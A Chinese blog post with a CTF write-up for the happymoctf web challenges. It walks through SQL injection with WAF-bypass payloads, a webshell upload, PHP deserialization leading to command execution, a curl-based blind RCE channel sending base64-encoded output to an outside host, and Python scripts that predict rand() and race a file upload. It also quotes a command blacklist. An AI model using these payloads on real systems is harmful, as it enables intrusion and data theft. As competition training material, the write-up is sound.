美文网首页CTFctf
happymoctf Web-Writeup

happymoctf Web-Writeup

作者: ch3ckr | 来源:发表于2018-03-01 13:00 被阅读51次

    happymoctf有的环境还在,写一下wp。
    比赛地址:http://happy.moctf.com/,有点骚。

    0x01 是时候让你手指锻炼一下了(题目地址:http://120.78.57.208:6003/web1)

    锻炼完有惊喜哦,就看你能不能找到了
    http://120.78.57.208:6003/web1/

    一道简单的js题,源码:

    var clicks = 0 $(function() {
        $("#cookie").mousedown(function() {
            $(this).width('350px').height('350px');
        }).mouseup(function() {
            $(this).width('375px').height('375px');
            clicks++;
            $("#clickcount").text(clicks);
            if (clicks >= 108000) {
                var form = $('<form action="" method="get">' + '<input type="text" name="clicks" value="' + clicks + '" hidden/>' + '</form>');
                $('body').append(form);
                form.submit();
            }
        });
    });
    

    通过get方式给参数clicks赋值大于或者等于108000即可getflag。

    0x02 ez Injection(题目地址:http://120.78.57.208:6002/)

    一起来扣扣扣扣飞车飞车?
    http://120.78.57.208:6002

    如题,简单的注入,由?id=1'#确定注入点,随手测一下waf。

    测试得知and,&&,||,(,),+,%20被waf拦截,空格被过滤可以/**/,%0a代替,但是括号被拦截,大部分注入都无计可施,or,order,by,union等没被拦截,可以测一波union联合查询。
    测试字段数:

    ?id=1%27order/**/by/**/4%23    发现有三个字段
    

    使用union select测试显示的字段:

    ?id=1%27union/**/select/**/111,222,333%23
    

    猜测关键字被过滤,双写可以绕过:

    ?id=1%27ununionion/**/selselectect/**/111,222,333%23
    

    获取数据(from,where也需要双写):

    ?id=-1%27ununionion/**/selselectect/**/111,schema_name,333/**/frfromom/**/information_schema.schemata/**/limit/**/0,1%23
    库:information_schema,mysql,performance_schema,sheldon
    
    ?id=-1%27ununionion/**/selselectect/**/111,table_name,333/**/frfromom/**/information_schema.tables/**/whwhereere/**/table_schema='sheldon'/**/limit/**/0,1%23
    表:04ad5938eaf0efb6,qqflycar
    
    ?id=-1%27ununionion/**/selselectect/**/111,column_name,333/**/frfromom/**/information_schema.columns/**/whwhereere/**/table_name='04ad5938eaf0efb6'/**/limit/**/1,1%23
    字段:name,value
    
    ?id=-1%27ununionion/**/selselectect/**/name,value,333/**/frfromom/**/04ad5938eaf0efb6/**/limit/**/0,1%23
    内容:moctf{5o_easy_inj3cTi0n}
    
    0x03 要认真(题目地址:http://119.29.170.143:6003/)

    想要getshell吗,前提是你要认真哟。
    http://119.29.170.143:6003/
    hint:
    flag在/flag.txt
    数据库和网站不在同一服务器!放过脆弱的数据库!

    网站目录如下:

    通过测试可以发现list.php,show.php可以进行显错注入,没有任何过滤,可直接通过sqlmap跑管理员账号:

    sqlmap -u "http://119.29.170.143:6003/list.php?id=22" --hex -D cms -T cms_users -C username,password --dump
    

    或者可通过union联合查询获取管理员账号(关键字需要hex):

    list.php?id=-22) union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14%23
    库:cms
    
    list.php?id=-22) union select 1,2,group_concat(unhex(hex(table_name))),4,5,6,7,8,9,10,11,12,13,14 from information_schema.tables where unhex(hex(table_schema)) like 0x636d73%23
    表:cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users
    
    list.php?id=-22) union select 1,2,group_concat(unhex(hex(column_name))),4,5,6,7,8,9,10,11,12,13,14 from information_schema.columns where unhex(hex(table_name)) like 0x636d735f7573657273%23
    列:userid,username,password
    
    list.php?id=-22) union select 1,2,group_concat(username),4,5,6,7,8,group_concat(password),10,11,12,13,14 from cms_users%23
    内容:admin      22feddcae8a2c6353c6476495939ae9c
    

    还可以通过其他方式注入,如运算符盲注id=22^0,id=22^1,时间盲注,xpath注入,具体不展开。

    登陆后台后,找到上传点,发现只支持后缀名为bmp,gif,jpeg,jpg,png 的文件,考虑解析漏洞,服务器为nginx。
    写入一句话改后缀为jpg后上传,然后我们的木马为

    http://119.29.170.143:6003/attachment/201802/20180225115720_56.jpg/20180225115720_56.php
    密码:cc
    

    连接后可以直接可以读取/flag.txt获取flag

    0x04 PUBG(题目地址:http://120.78.57.208:6001/)

    Winner Winenr,Chicken Dinner!!!
    http://120.78.57.208:6001/

    存在index.php.bak

    <?php
        error_reporting(0);
        include 'class.php';
        if(is_array($_GET)&&count($_GET)>0)
        {
            if(isset($_GET["LandIn"]))
            {
                $pos=$_GET["LandIn"];
            }
            if($pos==="airport")
            {
                die("<center>机场大仙太多,你被打死了~</center>");
            }
            elseif($pos==="school")
            {
                echo('</br><center><a href="/index.html"  style="color:white">叫我校霸~~</a></center>');
                $pubg=$_GET['pubg'];
                $p = unserialize($pubg);
                // $p->Get_air_drops($p->weapon,$p->bag);
            }
            elseif($pos==="AFK")
            {
                die("<center>由于你长时间没动,掉到海里淹死了~</center");
            }
            else
            {
                die("<center>You Lose</center>");
                
            }
        }
    ?>
    

    发现class.php.bak:

    <?php
        include 'waf.php';
        class sheldon{
            public $bag="nothing";
            public $weapon="M24";
            // public function __toString(){
            //     $this->str="You got the airdrop";
            //     return $this->str;
            // }
            public function __wakeup()
            {
                $this->bag="nothing";
                $this->weapon="kar98K";
            }
            public function Get_air_drops($b)
            {
                    $this->$b();
            }
            public function __call($method,$parameters)
            {
                $file = explode(".",$method);
                echo $file[0];
                if(file_exists(".//class//$file[0].php"))
                {
                    system("php  .//class//$method.php");
                }
                else
                {
                    system("php  .//class//win.php");
                }
                die();
            }
            public function nothing()
            {
                die("<center>You lose</center>");
            }
            public function __destruct()
            {
                waf($this->bag);
                if($this->weapon==='AWM')
                {
                    $this->Get_air_drops($this->bag);
                }
                else
                {
                    die('<center>The Air Drop is empty,you lose~</center>');
                }
            }
        }
    ?>
    
    1. 这里首先需要绕过__wakeup()函数,通过CVE-2016-7124即可知道当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行
    2. 对于__destruct()函数,只需要weapon赋值为AWM即可。
    3. 然后只要参数bag不是对象里面可访问的方法(如nothing()函数),就会调用__call()方法并赋值给参数method

    所以接下来就是命令执行的事情了。这里虽然有waf,但是不绕过也是可以读取到flag的,利用一些没有禁用掉的命令即可。
    序列化的脚本如下:

    <?php 
    class sheldon
    {
        public $bag="win.php && pwd&& index";
        //public $bag="win.php && find /app&& index";
        //public $bag="win.php && sort /app/class/flag.php && index";
        public $weapon="AWM";
    }
    $hh = new sheldon();
    $yy = serialize($hh);
    echo $yy;
    ?>
    

    然后如果想要利用waf中禁用掉的命令,可以使用\,'',""绕过。
    可参考我的另一篇文章
    最后的payload需要经过urlencode再提交:

    /index.php?LandIn=school&pubg=%4f%3a%37%3a%22%73%68%65%6c%64%6f%6e%22%3a%33%3a%7b%73%3a%33%3a%22%62%61%67%22%3b%73%3a%34%33%3a%22%77%69%6e%2e%70%68%70%20%26%26%20%73%6f%72%74%20%2f%61%70%70%2f%63%6c%61%73%73%2f%66%6c%61%67%2e%70%68%70%26%26%20%69%6e%64%65%78%22%3b%73%3a%36%3a%22%77%65%61%70%6f%6e%22%3b%73%3a%33%3a%22%41%57%4d%22%3b%7d
    

    附上waf.php的代码:

    <?php
    error_reporting(0);
    function waf($values){
        //$black = [];
        $black = array('vi','awk','-','sed','comm','diff','grep','cp','mv','nl','less','od','head','tail','more','tac','rm','ls','tailf','%','%0a','%0d','%00','ls','echo','ps','>','<','${IFS}','ifconfig','mkdir','cp','chmod','wget','curl','http','www','`','printf');
        foreach ($black as $key => $value) {
            if(stripos($values,$value)){
                die("Attack!");
            }
        }
    }
    ?>
    
    0x05 登录一哈(题目地址:http://111.230.32.124:6001/)

    登录一下,你就知道。
    http://111.230.32.124:6001/
    hint:
    开发人员用git管理过代码

    index.php的源码:

    <?php
            ini_set('session.serialize_handler', 'php_binary');
            session_start();
            if(isset($_POST['username']) && isset($_POST['password'])){
                $username = $_POST['username'];
                $password = $_POST['password'];
                $_SESSION["username"] = $username;
                header("Location:./index.php");
            }
            else if(isset($_SESSION["username"])){
                echo '<h1>hello '.$_SESSION["username"].'</h1>';
            }
            else {
        ?>
    

    flag.php的源码:

    <?php
    session_start();
    class MOCTF{
        public $flag;
        public $name;
        function __destruct(){
            $this->flag = "moctf{xxxxxxxxxxxxxxxxxxx}";
            if($this->flag == $this->name){
                echo "Wow,this is flag:".$this->flag;
            }
        }
    }
    

    环境已挂,本题考察session反序列化,引用可带入序列化的知识点。可以参考一下这篇文章
    index.php中的$_session['username']可控,我们就能构造payload到session,然后访问flag.php页面就能触发反序列化执行__destruct了。
    构造序列化的代码:

    <?php
    class MOCTF{
        public $flag;
        public $name;
    }
    $hh = new MOCTF();
    $hh->name = &$hh->flag;
    $yy = serialize($hh);
    echo '|'.$yy;
    ?>
    

    payload:

    username=|O:5:"MOCTF":2:{s:4:"flag";N;s:4:"name";R:2;}
    

    把payload提交给username参数后访问flag.php即可拿到flag。

    Wow,this is flag:moctf{ser1ali2e_h4ndler_1s_c00l}
    
    0x06 ping一下好吗(题目地址:http://139.199.2.226:1234/)

    让你ping一下。
    http://139.199.2.226:1234/

    存在.exec.php.swp,使用vim -r .exec.php.swp修复:

    <?php
    
        // Get input
    
        $target = $_REQUEST[ 'ip' ];
        // var_dump($target);
        $target=trim($target);
        // var_dump($target);
        // Set blacklist
        $substitutions = array(
            '&'  => '',
            ';' => '',
            '-'  => '',
            '('  => '',
            ')'  => '',
            '||' => '',
            'python' => '',
            'bash' => '',
            'nc' =>''
        );
    
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
        
    
         var_dump($target);
    
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 1 ' . $target );
        }
    
        // Feedback for the end user
        if($cmd != NULL){
            echo "exec success"."</br>";
        }
        
    ?>
    

    盲打RCE,无回显,也不能反弹shell,借助DNS通道/HTTP通道来获取命令执行后返回的数据。
    推荐一个免费的平台:http://cyce.io,具体用法参考官网。
    这里使用curl:

    ip=|curl http://****.ceye.io/`whoami`
    www-data
    

    但是有的字符无法显示或者导致只显示部分信息,所以我们进行base64编码:

    ip=|curl http://****.ceye.io/`ls|base64`
    Y3NzCmV4ZWMucGhwCmdoZGYucGhwCmluZGV4Lmh0bWwK
    
    ip=|curl http://****.ceye.io/`cat ghfd.php|base64`
    PD9waHAgJGZsYWc9Im1vY3Rme2RmYTEwZmYxYmQ5ODcyY2RhMWQ0MDhmMDdlYjY2Mzk0fSI7
    

    解码即可获取flag。

    <?php $flag="moctf{dfa10ff1bd9872cda1d408f07eb66394}";
    
    0x07 字符串检查(题目地址:http://111.230.32.124:6002/)

    来检查一下你的字符串是否格式良好吧!
    http://111.230.32.124:6002/
    hint:
    要不试试其他格式的字符串?
    application/xml
    client-ip会告诉服务器你的ip吗?

    题目已挂。
    题目考察blind xxe,参考文章:https://security.tencent.com/index.php/blog/msg/69
    wp可参考http://skysec.top/2018/02/13/happymoctf%E4%B9%8Bweb%E5%85%A8%E9%A2%98%E8%A7%A3/#%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%A3%80%E6%9F%A5

    0x08 简单审计(题目地址:http://120.78.57.208:6005/)

    代码都给你了,还说不会做?
    http://120.78.57.208:6005/
    hint:
    你可能需要个公网ip

    直接给了源码:

    <?php
    error_reporting(0);
    include('config.php');
    header("Content-type:text/html;charset=utf-8");
    function get_rand_code($l = 6) {
        $result = '';
        while($l--) {
            $result .= chr(rand(ord('a'), ord('z')));
        }
        return $result;
    }
    
    function test_rand_code() {
        $ip=$_SERVER['REMOTE_ADDR'];
        $code=get_rand_code();
        $socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        @socket_connect($socket, $ip, 8888);
        @socket_write($socket, $code.PHP_EOL);
        @socket_close($socket);
        die('test ok!');
    }
    
    function upload($filename, $content,$savepath) {
        $AllowedExt = array('bmp','gif','jpeg','jpg','png');
        if(!is_array($filename)) {
            $filename = explode('.', $filename);
        }
        if(!in_array(strtolower($filename[count($filename)-1]),$AllowedExt)){
            die('error ext!');
        }
        $code=get_rand_code();
        $finalname=$filename[0].'moctf'.$code.".".end($filename);
        file_put_contents("$savepath".$finalname, $content);
        usleep(3000000);
        unlink("$savepath".$finalname);
        die('upload over!');
    }
    
    $savepath="uploads/".sha1($_SERVER['REMOTE_ADDR'])."/";
    if(!is_dir($savepath)){
        $oldmask = umask(0);
        mkdir($savepath, 0777);
        umask($oldmask);
    }
    if(isset($_GET['action']))
    {
        $act=$_GET['action'];
        if($act==='upload')
        {
            $filename=$_POST['filename'];
            if(!is_array($filename)) {
                $filename = explode('.', $filename);
            }
            $content=$_POST['content'];
            waf($content);
            upload($filename,$content,$savepath);
        }
        else if($act==='test')
        {
            test_rand_code();
        }
    }
    else {
        highlight_file('index.php');
    }
    ?>
    

    懒得写了,贴一下官方解还有非预期解
    官方解如下:
    解释一下题目的意思
    根据action执行对应操作,action=test会调用test_rand_code函数发送tcp包到访客的ip
    action=upload时会写入一个文件,文件内容有waf拦截,文件名有白名单限制后缀,
    然后拼接文件名加入rand的字符串,写入文件,文件写入后过3秒unlink删除
    有问题的点有这几个
    1.filename检查是用$filename[count($filename)-1]取的后缀,是按照下标取的,而写入文件时用的是end($filename),是取最后一个元素,只要post时提交filename[1]=jpg&filename[0]=php就能绕过了
    2.$content的waf绕过, 绕过即可
    3.使用rand()生成随机数,可以被预测,参考https://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/

    预期解法是
    1.username数组bypass后缀检查,绕过content的waf
    2.rand随机数预测+爆破文件名 在unlink之前访问shell

    listen.py

    #监听8888端口,接受6个`get_rand_code`的结果,然后预测接下来一次`get_rand_code`的结果,这里可能不会很准确,
    #所以需要小幅度爆破,复杂度大概为3^6,反正就跑着呗
    #!/usr/bin/env python
    #-*- coding:utf-8 -*-
    #by xishir
    import requests as req
    import re
    from socket import *  
    from time import ctime  
    import random
    import itertools as its
    import hashlib
    r=req.session() 
    url="http://120.78.57.208:6005/"
    def get_rand_list():
        HOST = ''  
        PORT = 8888
        BUFSIZ = 128  
        ADDR = (HOST, PORT)  
        tcpSerSock = socket(AF_INET, SOCK_STREAM)
        tcpSerSock.bind(ADDR)
        tcpSerSock.listen(5)
        rand_num=0
        l=[]
        while True:
            tcpCliSock, addr = tcpSerSock.accept()  
            while True:  
                data = tcpCliSock.recv(BUFSIZ)  
                if not data:  
                    break  
                data=data[0:6]
            print data,l
                for i in data:
                    l.append(ord(i)+1-ord('a'))
            rand_num+=1
            if rand_num==6:
                break
        tcpCliSock.close()  
        tcpSerSock.close()
        return l
    def get_salt(l):
        salt=""
        for i in range(6):
            j=len(l)
            r=(l[j-3]+l[j-31])-1
            if r>26:
                r-=26
            #print l[j-3],chr(l[j-3]+ord('a')-1),l[j-31],chr(l[j-31]+ord('a')-1),r,chr(r+ord('a')-1)
            l.append(r)
            salt+=chr(r+ord('a')-1)
            #print salt
        return salt
        
    def get_flag(salt):
        s=hashlib.sha1('119.23.73.3').hexdigest()
        url1=url+'/uploads/'+s+'/'+'moctf'+salt+'.php'
        data={"a":"system('cat ../../flag.php');echo '666666';"}
        r2=r.post(url1,data=data)
        print salt
        if '404' not in r2.text:
            print r2.text
    get_flag('aaaaaa')
    l=get_rand_list()
    salt=get_salt(l)
    s=0
    for i in range(100000):
        s=s+1
    print s
    words = "10"
    o=its.product(words,repeat=6)
    for i in o:
        s="".join(i)
        salt2=""
        for j in range(6):
            salt2+=chr(ord(salt[j])-int(s[j]))
        get_flag(salt2)
    words = "10"
    o=its.product(words,repeat=6)
    for i in o:
        s="".join(i)
        salt2=""
        for j in range(6):
            salt2+=chr(ord(salt[j])+int(s[j]))
        get_flag(salt2)
    

    put.py

    #通过`?action=test`调用`test_rand_code`函数发送6次`get_rand_code`结果,一共36个字符,
    #然后提交一个构造好的`?action=test`,上传shell到服务器,在被删除之前就会被listen爆破得到,没爆破到就多爆破几次
    #!/usr/bin/env python
    #-*- coding:utf-8 -*-
    #by xishir
    import requests as req
    import re
    r=req.session()
    url="http://120.78.57.208:6005/?action="
    def get_test():
        url2=url+"test"
        r1=r.get(url2)
        print url2
        print r1.text
    def upload():
        data={"filename[4]":"jpg",
              "filename[2]":"jpg",
              "filename[1]":"php",
              "content":"<script language='php'>assert($_POST[a]);</script>",
              "a":"system('cat ../../flag.php');"
              }
        url1=url+"upload"
        r2=r.post(url1,data=data)
        print r2.text
    for i in range(6):
        get_test()
    upload()
    

    非预期解:
    参考http://skysec.top/2018/02/13/happymoctf%E4%B9%8Bweb%E5%85%A8%E9%A2%98%E8%A7%A3/#%E7%AE%80%E5%8D%95%E5%AE%A1%E8%AE%A1
    注意到

    $finalname=$filename[0].'moctf'.$code.".".end($filename);
    

    末尾可控,所以构造

    $filename= array('0'=> '1','2'=>'jpg','3'=>'php');
    

    可直接越过了这个我们未知的文件夹,写到了上层目录中

    1moctf111111.php/../sky.php
    

    而目录只需要sha1一下自己的vps的ip即可得知

    $savepath="uploads/".sha1($_SERVER['REMOTE_ADDR'])."/";
    

    然后用vps的curl发请求

        
    curl -d "filename[0]=1&filename[2]=jpg&filename[3]=php/../sky111.php&content[]=<?php system('cat ../../flag.php');?>" http://120.78.57.208:6005/?action=upload
    

    访问就可以拿到flag了。

    相关文章

      网友评论

      • _Deen:很棒,已收入我们的CTF专题,大家一起学习,谢谢~
        ch3ckr:向大佬学习,:smiley:

      本文标题:happymoctf Web-Writeup

      本文链接:https://www.haomeiwen.com/subject/gvqcxftx.html